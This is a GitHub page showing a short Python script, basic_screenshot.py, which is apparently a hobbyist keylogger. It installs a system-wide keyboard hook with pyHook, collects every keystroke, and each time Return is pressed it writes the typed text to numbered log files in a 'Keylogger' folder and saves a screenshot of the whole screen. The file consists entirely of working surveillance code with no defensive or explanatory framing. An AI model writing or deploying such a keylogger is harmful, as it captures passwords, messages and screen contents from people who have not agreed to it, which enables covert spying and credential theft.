-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbasic_screenshot.py
More file actions
34 lines (28 loc) · 892 Bytes
/
basic_screenshot.py
File metadata and controls
34 lines (28 loc) · 892 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import pyHook
import pythoncom
import uuid
from autopy import bitmap
import os
text = ''
count = 1
def key_down(event):
#print event.Key #case sensitive
global text
global count
if event.Key == 'Return':
#file = open("log.txt",'w')
#file = open("{}.txt".format(str(uuid.uuid4())),'w')
if os.path.exists('Keylogger') == False:
os.mkdir('Keylogger')
file = open("Keylogger/log" + str(count) + ".txt",'w')
file.write(text)
file.close()
count += 1
img = bitmap.capture_screen()
img.save("{}.bmp".format(str(uuid.uuid4())))
else:
text += event.Key
hook = pyHook.HookManager()
hook.KeyDown = key_down #case sensitive
hook.HookKeyboard() #bisa mouse juga
pythoncom.PumpMessages()